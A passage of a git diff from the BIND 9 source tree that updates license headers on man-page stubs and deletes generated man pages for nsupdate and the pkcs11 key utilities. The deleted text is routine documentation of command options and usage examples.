-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dig/nslookup.rst
\ No newline at end of file
+.. include:: ../../bin/dig/nslookup.rst
diff --git a/doc/man/nsupdate.1in b/doc/man/nsupdate.1in
deleted file mode 100644
index 08f6049b4f..0000000000
--- a/doc/man/nsupdate.1in
+++ /dev/null
@@ -1,378 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NSUPDATE" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-nsupdate \- dynamic DNS update utility
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnsupdate\fP [\fB\-d\fP] [\fB\-D\fP] [\fB\-i\fP] [\fB\-L\fP level] [ [\fB\-g\fP] | [\fB\-o\fP] | [\fB\-l\fP] | [\fB\-y\fP [hmac:]keyname:secret] | [\fB\-k\fP keyfile] ] [\fB\-t\fP timeout] [\fB\-u\fP udptimeout] [\fB\-r\fP udpretries] [\fB\-v\fP] [\fB\-T\fP] [\fB\-P\fP] [\fB\-V\fP] [ [\fB\-4\fP] | [\fB\-6\fP] ] [filename]
-.SH DESCRIPTION
-.sp
-\fBnsupdate\fP is used to submit Dynamic DNS Update requests, as defined in
-\fI\%RFC 2136\fP, to a name server. This allows resource records to be added or
-removed from a zone without manually editing the zone file. A single
-update request can contain requests to add or remove more than one
-resource record.
-.sp
-Zones that are under dynamic control via \fBnsupdate\fP or a DHCP server
-should not be edited by hand. Manual edits could conflict with dynamic
-updates and cause data to be lost.
-.sp
-The resource records that are dynamically added or removed with
-\fBnsupdate\fP must be in the same zone. Requests are sent to the
-zone\(aqs primary server, which is identified by the MNAME field of the
-zone\(aqs SOA record.
-.sp
-Transaction signatures can be used to authenticate the Dynamic DNS
-updates. These use the TSIG resource record type described in \fI\%RFC 2845\fP,
-the SIG(0) record described in \fI\%RFC 2535\fP and \fI\%RFC 2931\fP, or GSS\-TSIG as
-described in \fI\%RFC 3645\fP\&.
-.sp
-TSIG relies on a shared secret that should only be known to \fBnsupdate\fP
-and the name server. For instance, suitable \fBkey\fP and \fBserver\fP
-statements are added to \fB/etc/named.conf\fP so that the name server
-can associate the appropriate secret key and algorithm with the IP
-address of the client application that is using TSIG
-authentication. \fBddns\-confgen\fP can generate suitable
-configuration fragments. \fBnsupdate\fP uses the \fB\-y\fP or \fB\-k\fP options
-to provide the TSIG shared secret; these options are mutually exclusive.
-.sp
-SIG(0) uses public key cryptography. To use a SIG(0) key, the public key
-must be stored in a KEY record in a zone served by the name server.
-.sp
-GSS\-TSIG uses Kerberos credentials. Standard GSS\-TSIG mode is switched
-on with the \fB\-g\fP flag. A non\-standards\-compliant variant of GSS\-TSIG
-used by Windows 2000 can be switched on with the \fB\-o\fP flag.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-4\fP
-This option sets use of IPv4 only.
-.TP
-.B \fB\-6\fP
-This option sets use of IPv6 only.
-.TP
-.B \fB\-d\fP
-This option sets debug mode, which provides tracing information about the update
-requests that are made and the replies received from the name server.
-.TP
-.B \fB\-D\fP
-This option sets extra debug mode.
-.TP
-.B \fB\-i\fP
-This option forces interactive mode, even when standard input is not a terminal.
-.TP
-.B \fB\-k keyfile\fP
-This option indicates the file containing the TSIG authentication key. Keyfiles may be in
-two formats: a single file containing a \fBnamed.conf\fP\-format \fBkey\fP
-statement, which may be generated automatically by \fBddns\-confgen\fP;
-or a pair of files whose names are of the format
-\fBK{name}.+157.+{random}.key\fP and
-\fBK{name}.+157.+{random}.private\fP, which can be generated by
-\fBdnssec\-keygen\fP\&. The \fB\-k\fP option can also be used to specify a SIG(0)
-key used to authenticate Dynamic DNS update requests. In this case,
-the key specified is not an HMAC\-MD5 key.
-.TP
-.B \fB\-l\fP
-This option sets local\-host only mode, which sets the server address to localhost
-(disabling the \fBserver\fP so that the server address cannot be
-overridden). Connections to the local server use a TSIG key
-found in \fB/var/run/named/session.key\fP, which is automatically
-generated by \fBnamed\fP if any local \fBprimary\fP zone has set
-\fBupdate\-policy\fP to \fBlocal\fP\&. The location of this key file can be
-overridden with the \fB\-k\fP option.
-.TP
-.B \fB\-L level\fP
-This option sets the logging debug level. If zero, logging is disabled.
-.TP
-.B \fB\-p port\fP
-This option sets the port to use for connections to a name server. The default is
-53.
-.TP
-.B \fB\-P\fP
-This option prints the list of private BIND\-specific resource record types whose
-format is understood by \fBnsupdate\fP\&. See also the \fB\-T\fP option.
-.TP
-.B \fB\-r udpretries\fP
-This option sets the number of UDP retries. The default is 3. If zero, only one update
-request is made.
-.TP
-.B \fB\-t timeout\fP
-This option sets the maximum time an update request can take before it is aborted. The
-default is 300 seconds. If zero, the timeout is disabled.
-.TP
-.B \fB\-T\fP
-This option prints the list of IANA standard resource record types whose format is
-understood by \fBnsupdate\fP\&. \fBnsupdate\fP exits after the lists
-are printed. The \fB\-T\fP option can be combined with the \fB\-P\fP
-option.
-.sp
-Other types can be entered using \fBTYPEXXXXX\fP where \fBXXXXX\fP is the
-decimal value of the type with no leading zeros. The rdata, if
-present, is parsed using the UNKNOWN rdata format, (<backslash>
-<hash> <space> <length> <space> <hexstring>).
-.TP
-.B \fB\-u udptimeout\fP
-This option sets the UDP retry interval. The default is 3 seconds. If zero, the
-interval is computed from the timeout interval and number of UDP
-retries.
-.TP
-.B \fB\-v\fP
-This option specifies that TCP should be used even for small update requests. By default, \fBnsupdate\fP uses
-UDP to send update requests to the name server unless they are too
-large to fit in a UDP request, in which case TCP is used. TCP may
-be preferable when a batch of update requests is made.
-.TP
-.B \fB\-V\fP
-This option prints the version number and exits.
-.TP
-.B \fB\-y [hmac:]keyname:secret\fP
-This option sets the literal TSIG authentication key. \fBkeyname\fP is the name of the key,
-and \fBsecret\fP is the base64 encoded shared secret. \fBhmac\fP is the
-name of the key algorithm; valid choices are \fBhmac\-md5\fP,
-\fBhmac\-sha1\fP, \fBhmac\-sha224\fP, \fBhmac\-sha256\fP, \fBhmac\-sha384\fP, or
-\fBhmac\-sha512\fP\&. If \fBhmac\fP is not specified, the default is
-\fBhmac\-md5\fP, or if MD5 was disabled, \fBhmac\-sha256\fP\&.
-.sp
-NOTE: Use of the \fB\-y\fP option is discouraged because the shared
-secret is supplied as a command\-line argument in clear text. This may
-be visible in the output from ps1 or in a history file maintained by
-the user\(aqs shell.
-.UNINDENT
-.SH INPUT FORMAT
-.sp
-\fBnsupdate\fP reads input from \fBfilename\fP or standard input. Each
-command is supplied on exactly one line of input. Some commands are for
-administrative purposes; others are either update instructions or
-prerequisite checks on the contents of the zone. These checks set
-conditions that some name or set of resource records (RRset) either
-exists or is absent from the zone. These conditions must be met if the
-entire update request is to succeed. Updates are rejected if the
-tests for the prerequisite conditions fail.
-.sp
-Every update request consists of zero or more prerequisites and zero or
-more updates. This allows a suitably authenticated update request to
-proceed if some specified resource records are either present or missing from
-the zone. A blank input line (or the \fBsend\fP command) causes the
-accumulated commands to be sent as one Dynamic DNS update request to the
-name server.
-.sp
-The command formats and their meanings are as follows:
-.INDENT 0.0
-.TP
-.B \fBserver servername port\fP
-This command sends all dynamic update requests to the name server \fBservername\fP\&.
-When no server statement is provided, \fBnsupdate\fP sends updates
-to the primary server of the correct zone. The MNAME field of that
-zone\(aqs SOA record identify the primary server for that zone.
-\fBport\fP is the port number on \fBservername\fP where the dynamic
-update requests are sent. If no port number is specified, the default
-DNS port number of 53 is used.
-.TP
-.B \fBlocal address port\fP
-This command sends all dynamic update requests using the local \fBaddress\fP\&. When
-no local statement is provided, \fBnsupdate\fP sends updates using
-an address and port chosen by the system. \fBport\fP can also
-be used to force requests to come from a specific port. If no port number
-is specified, the system assigns one.
-.TP
-.B \fBzone zonename\fP
-This command specifies that all updates are to be made to the zone \fBzonename\fP\&.
-If no \fBzone\fP statement is provided, \fBnsupdate\fP attempts to
-determine the correct zone to update based on the rest of the input.
-.TP
-.B \fBclass classname\fP
-This command specifies the default class. If no \fBclass\fP is specified, the default
-class is \fBIN\fP\&.
-.TP
-.B \fBttl seconds\fP
-This command specifies the default time\-to\-live, in seconds, for records to be added. The value
-\fBnone\fP clears the default TTL.
-.TP
-.B \fBkey hmac:keyname secret\fP
-This command specifies that all updates are to be TSIG\-signed using the
-\fBkeyname\fP\-\fBsecret\fP pair. If \fBhmac\fP is specified, it sets
-the signing algorithm in use. The default is \fBhmac\-md5\fP; if MD5
-was disabled, the default is \fBhmac\-sha256\fP\&. The \fBkey\fP command overrides any key
-specified on the command line via \fB\-y\fP or \fB\-k\fP\&.
-.TP
-.B \fBgsstsig\fP
-This command uses GSS\-TSIG to sign the updates. This is equivalent to specifying
-\fB\-g\fP on the command line.
-.TP
-.B \fBoldgsstsig\fP
-This command uses the Windows 2000 version of GSS\-TSIG to sign the updates. This is
-equivalent to specifying \fB\-o\fP on the command line.
-.TP
-.B \fBrealm [realm_name]\fP
-When using GSS\-TSIG, this command specifies the use of \fBrealm_name\fP rather than the default realm
-in \fBkrb5.conf\fP\&. If no realm is specified, the saved realm is
-cleared.
-.TP
-.B \fBcheck\-names [yes_or_no]\fP
-This command turns on or off check\-names processing on records to be added.
-Check\-names has no effect on prerequisites or records to be deleted.
-By default check\-names processing is on. If check\-names processing
-fails, the record is not added to the UPDATE message.
-.TP
-.B \fBprereq nxdomain domain\-name\fP
-This command requires that no resource record of any type exist with the name
-\fBdomain\-name\fP\&.
-.TP
-.B \fBprereq yxdomain domain\-name\fP
-This command requires that \fBdomain\-name\fP exist (as at least one resource
-record, of any type).
-.TP
-.B \fBprereq nxrrset domain\-name class type\fP
-This command requires that no resource record exist of the specified \fBtype\fP,
-\fBclass\fP, and \fBdomain\-name\fP\&. If \fBclass\fP is omitted, IN (Internet)
-is assumed.
-.TP
-.B \fBprereq yxrrset domain\-name class type\fP
-This command requires that a resource record of the specified \fBtype\fP,
-\fBclass\fP and \fBdomain\-name\fP exist. If \fBclass\fP is omitted, IN
-(internet) is assumed.
-.TP
-.B \fBprereq yxrrset domain\-name class type data\fP
-With this command, the \fBdata\fP from each set of prerequisites of this form sharing a
-common \fBtype\fP, \fBclass\fP, and \fBdomain\-name\fP are combined to form
-a set of RRs. This set of RRs must exactly match the set of RRs
-existing in the zone at the given \fBtype\fP, \fBclass\fP, and
-\fBdomain\-name\fP\&. The \fBdata\fP are written in the standard text
-representation of the resource record\(aqs RDATA.
-.TP
-.B \fBupdate delete domain\-name ttl class type data\fP
-This command deletes any resource records named \fBdomain\-name\fP\&. If \fBtype\fP and
-\fBdata\fP are provided, only matching resource records are removed.
-The Internet class is assumed if \fBclass\fP is not supplied. The
-\fBttl\fP is ignored, and is only allowed for compatibility.
-.TP
-.B \fBupdate add domain\-name ttl class type data\fP
-This command adds a new resource record with the specified \fBttl\fP, \fBclass\fP, and
-\fBdata\fP\&.
-.TP
-.B \fBshow\fP
-This command displays the current message, containing all of the prerequisites and
-updates specified since the last send.
-.TP
-.B \fBsend\fP
-This command sends the current message. This is equivalent to entering a blank
-line.
-.TP
-.B \fBanswer\fP
-This command displays the answer.
-.TP
-.B \fBdebug\fP
-This command turns on debugging.
-.TP
-.B \fBversion\fP
-This command prints the version number.
-.TP
-.B \fBhelp\fP
-This command prints a list of commands.
-.UNINDENT
-.sp
-Lines beginning with a semicolon (;) are comments and are ignored.
-.SH EXAMPLES
-.sp
-The examples below show how \fBnsupdate\fP can be used to insert and
-delete resource records from the \fBexample.com\fP zone. Notice that the
-input in each example contains a trailing blank line, so that a group of
-commands is sent as one dynamic update request to the primary name
-server for \fBexample.com\fP\&.
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-# nsupdate
-> update delete oldhost.example.com A
-> update add newhost.example.com 86400 A 172.16.1.1
-> send
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-Any A records for \fBoldhost.example.com\fP are deleted, and an A record
-for \fBnewhost.example.com\fP with IP address 172.16.1.1 is added. The
-newly added record has a TTL of 1 day (86400 seconds).
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-# nsupdate
-> prereq nxdomain nickname.example.com
-> update add nickname.example.com 86400 CNAME somehost.example.com
-> send
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-The prerequisite condition tells the name server to verify that there are
-no resource records of any type for \fBnickname.example.com\fP\&. If there
-are, the update request fails. If this name does not exist, a CNAME for
-it is added. This ensures that when the CNAME is added, it cannot
-conflict with the long\-standing rule in \fI\%RFC 1034\fP that a name must not
-exist as any other record type if it exists as a CNAME. (The rule has
-been updated for DNSSEC in \fI\%RFC 2535\fP to allow CNAMEs to have RRSIG,
-DNSKEY, and NSEC records.)
-.SH FILES
-.INDENT 0.0
-.TP
-.B \fB/etc/resolv.conf\fP
-Used to identify the default name server
-.TP
-.B \fB/var/run/named/session.key\fP
-Sets the default TSIG key for use in local\-only mode
-.TP
-.B \fBK{name}.+157.+{random}.key\fP
-Base\-64 encoding of the HMAC\-MD5 key created by \fBdnssec\-keygen\fP\&.
-.TP
-.B \fBK{name}.+157.+{random}.private\fP
-Base\-64 encoding of the HMAC\-MD5 key created by \fBdnssec\-keygen\fP\&.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fI\%RFC 2136\fP, \fI\%RFC 3007\fP, \fI\%RFC 2104\fP, \fI\%RFC 2845\fP, \fI\%RFC 1034\fP, \fI\%RFC 2535\fP, \fI\%RFC 2931\fP,
-\fBnamed(8)\fP, \fBdnssec\-keygen(8)\fP, \fBtsig\-keygen(8)\fP\&.
-.SH BUGS
-.sp
-The TSIG key is redundantly stored in two separate files. This is a
-consequence of \fBnsupdate\fP using the DST library for its cryptographic
-operations, and may change in future releases.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/nsupdate.rst b/doc/man/nsupdate.rst
index 7cfb072eab..bced04ec9b 100644
--- a/doc/man/nsupdate.rst
+++ b/doc/man/nsupdate.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/nsupdate/nsupdate.rst
\ No newline at end of file
+.. include:: ../../bin/nsupdate/nsupdate.rst
diff --git a/doc/man/pkcs11-destroy.1in b/doc/man/pkcs11-destroy.1in
deleted file mode 100644
index 5e9d2f50e2..0000000000
--- a/doc/man/pkcs11-destroy.1in
+++ /dev/null
@@ -1,74 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "PKCS11-DESTROY" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-pkcs11-destroy \- destroy PKCS#11 objects
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-pkcs11\-destroy \- destroy PKCS#11 objects
-.sp
-\fBpkcs11\-destroy\fP [\fB\-m\fP module] [\fB\-s\fP slot] [\fB\-i\fP ID] [\fB\-l\fP label] [\fB\-p\fP PIN] [\fB\-w\fP seconds]
-.sp
-\fBpkcs11\-destroy\fP destroys keys stored in a PKCS#11 device, identified
-by their \fBID\fP or \fBlabel\fP\&.
-.sp
-Matching keys are displayed before being destroyed. By default, there is
-a five\-second delay to allow the user to interrupt the process before
-the destruction takes place.
-.INDENT 0.0
-.TP
-.B \fB\-m module\fP
-This option specifies the PKCS#11 provider module. This must be the full path to a
-shared library object implementing the PKCS#11 API for the device.
-.TP
-.B \fB\-s slot\fP
-This option opens the session with the given PKCS#11 slot. The default is slot 0.
-.TP
-.B \fB\-i ID\fP
-This option destroys keys with the given object ID.
-.TP
-.B \fB\-l label\fP
-This option destroys keys with the given label.
-.TP
-.B \fB\-p PIN\fP
-This option specifies the \fBPIN\fP for the device. If no \fBPIN\fP is provided on the command
-line, \fBpkcs11\-destroy\fP prompts for it.
-.TP
-.B \fB\-w seconds\fP
-This option specifies how long, in seconds, to pause before carrying out key destruction. The
-default is 5 seconds. If set to \fB0\fP, destruction is
-immediate.
-.UNINDENT
-.sp
-\fBpkcs11\-keygen(8)\fP, \fBpkcs11\-list(8)\fP, \fBpkcs11\-tokens(8)\fP
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/pkcs11-destroy.rst b/doc/man/pkcs11-destroy.rst
deleted file mode 100644
index 7833562501..0000000000
--- a/doc/man/pkcs11-destroy.rst
+++ /dev/null
@@ -1,13 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-:orphan:
-
-.. include:: ../../bin/pkcs11/pkcs11-destroy.rst
\ No newline at end of file
diff --git a/doc/man/pkcs11-keygen.1in b/doc/man/pkcs11-keygen.1in
deleted file mode 100644
index aa9177ab81..0000000000
--- a/doc/man/pkcs11-keygen.1in
+++ /dev/null
@@ -1,95 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "PKCS11-KEYGEN" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-pkcs11-keygen \- generate keys on a PKCS#11 device
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBpkcs11\-keygen\fP [\fB\-a\fP algorithm] [\fB\-b\fP keysize] [\fB\-e\fP] [\fB\-i\fP id] [\fB\-m\fP module] [\fB\-P\fP] [\fB\-p\fP PIN] [\fB\-q\fP] [\fB\-S\fP] [\fB\-s\fP slot] label
-.SH DESCRIPTION
-.sp
-\fBpkcs11\-keygen\fP causes a PKCS#11 device to generate a new key pair
-with the given \fBlabel\fP (which must be unique) and with \fBkeysize\fP
-bits of prime.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a algorithm\fP
-This option specifies the key algorithm class: supported classes are RSA, DSA, DH,
-ECC, and ECX. In addition to these strings, the \fBalgorithm\fP can be
-specified as a DNSSEC signing algorithm to be used with this
-key; for example, NSEC3RSASHA1 maps to RSA, ECDSAP256SHA256 maps to
-ECC, and ED25519 to ECX. The default class is \fBRSA\fP\&.
-.TP
-.B \fB\-b keysize\fP
-This option creates the key pair with \fBkeysize\fP bits of prime. For ECC keys, the
-only valid values are 256 and 384, and the default is 256. For ECX
-keys, the only valid values are 256 and 456, and the default is 256.
-.TP
-.B \fB\-e\fP
-For RSA keys only, this option specifies use of a large exponent.
-.TP
-.B \fB\-i id\fP
-This option creates key objects with \fBid\fP\&. The ID is either an unsigned short 2\-byte
-or an unsigned long 4\-byte number.
-.TP
-.B \fB\-m module\fP
-This option specifies the PKCS#11 provider module. This must be the full path to a
-shared library object implementing the PKCS#11 API for the device.
-.TP
-.B \fB\-P\fP
-This option sets the new private key to be non\-sensitive and extractable, and
-allows the private key data to be read from the PKCS#11 device. The
-default is for private keys to be sensitive and non\-extractable.
-.TP
-.B \fB\-p PIN\fP
-This option specifies the \fBPIN\fP for the device. If no \fBPIN\fP is provided on the command
-line, \fBpkcs11\-keygen\fP prompts for it.
-.TP
-.B \fB\-q\fP
-This option sets quiet mode, which suppresses unnecessary output.
-.TP
-.B \fB\-S\fP
-For Diffie\-Hellman (DH) keys only, this option specifies use of a special prime of 768\-, 1024\-,
-or 1536\-bit size and base (AKA generator) 2. If not specified, bit
-size defaults to 1024.
-.TP
-.B \fB\-s slot\fP
-This option opens the session with the given PKCS#11 slot. The default is slot 0.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBpkcs11\-destroy(8)\fP, \fBpkcs11\-list(8)\fP, \fBpkcs11\-tokens(8)\fP, \fBdnssec\-keyfromlabel(8)\fP
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/pkcs11-keygen.rst b/doc/man/pkcs11-keygen.rst
deleted file mode 100644
index accea9f782..0000000000
--- a/doc/man/pkcs11-keygen.rst
+++ /dev/null
@@ -1,13 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-:orphan:
-
-.. include:: ../../bin/pkcs11/pkcs11-keygen.rst
\ No newline at end of file
diff --git a/doc/man/pkcs11-list.1in b/doc/man/pkcs11-list.1in
deleted file mode 100644
index 19e12f3f85..0000000000
--- a/doc/man/pkcs11-list.1in
+++ /dev/null
@@ -1,73 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "PKCS11-LIST" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-pkcs11-list \- list PKCS#11 objects
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.sp
-\fBpkcs11\-list\fP [\fB\-P\fP] [\fB\-m\fP module] [\fB\-s\fP slot] [\fB\-i\fP ID \fB] [\-l\fP label] [\fB\-p\fP PIN]
-.SH DESCRIPTION
-.sp
-\fBpkcs11\-list\fP lists the PKCS#11 objects with \fBID\fP or \fBlabel\fP or, by
-default, all objects. The object class, label, and ID are displayed for
-all keys. For private or secret keys, the extractability attribute is
-also displayed, as either \fBtrue\fP, \fBfalse\fP, or \fBnever\fP\&.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-P\fP
-This option lists only the public objects. (Note that on some PKCS#11 devices, all
-objects are private.)
-.TP
-.B \fB\-m module\fP
-This option specifies the PKCS#11 provider module. This must be the full path to a
-shared library object implementing the PKCS#11 API for the device.
-.TP
-.B \fB\-s slot\fP
-This option opens the session with the given PKCS#11 slot. The default is slot 0.
-.TP
-.B \fB\-i ID\fP
-This option lists only key objects with the given object ID.
-.TP
-.B \fB\-l label\fP
-This option lists only key objects with the given label.
-.TP
-.B \fB\-p PIN\fP
-This option specifies the \fBPIN\fP for the device. If no \fBPIN\fP is provided on the command
-line, \fBpkcs11\-list\fP prompts for it.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBpkcs11\-destroy(8)\fP, \fBpkcs11\-keygen(8)\fP, \fBpkcs11\-tokens(8)\fP
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/pkcs11-list.rst b/doc/man/pkcs11-list.rst
deleted file mode 100644
index ceaca278f3..0000000000
--- a/doc/man/pkcs11-list.rst
+++ /dev/null
@@ -1,13 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-:orphan:
-
-.. include:: ../../bin/pkcs11/pkcs11-list.rst
\ No newline at end of file
diff --git a/doc/man/pkcs11-tokens.1in b/doc/man/pkcs11-tokens.1in
deleted file mode 100644
index a83c7bfa59..0000000000
--- a/doc/man/pkcs11-tokens.1in
+++ /dev/null
@@ -1,58 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "PKCS11-TOKENS" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-pkcs11-tokens \- list PKCS#11 available tokens
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBpkcs11\-tokens\fP [\fB\-m\fP module] [\fB\-v\fP]
-.SH DESCRIPTION
-.sp
-\fBpkcs11\-tokens\fP lists the PKCS#11 available tokens with defaults from
-the slot/token scan performed at application initialization.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-m module\fP
-This option specifies the PKCS#11 provider module. This must be the full path to a
-shared library object implementing the PKCS#11 API for the device.
-.TP
-.B \fB\-v\fP
-This option makes the PKCS#11 libisc initialization verbose.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBpkcs11\-destroy(8)\fP, \fBpkcs11\-keygen(8)\fP, \fBpkcs11\-list(8)\fP
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/pkcs11-tokens.rst b/doc/man/pkcs11-tokens.rst
deleted file mode 100644
index a473ac040d..0000000000
--- a/doc/man/pkcs11-tokens.rst
+++ /dev/null
@@ -1,13 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
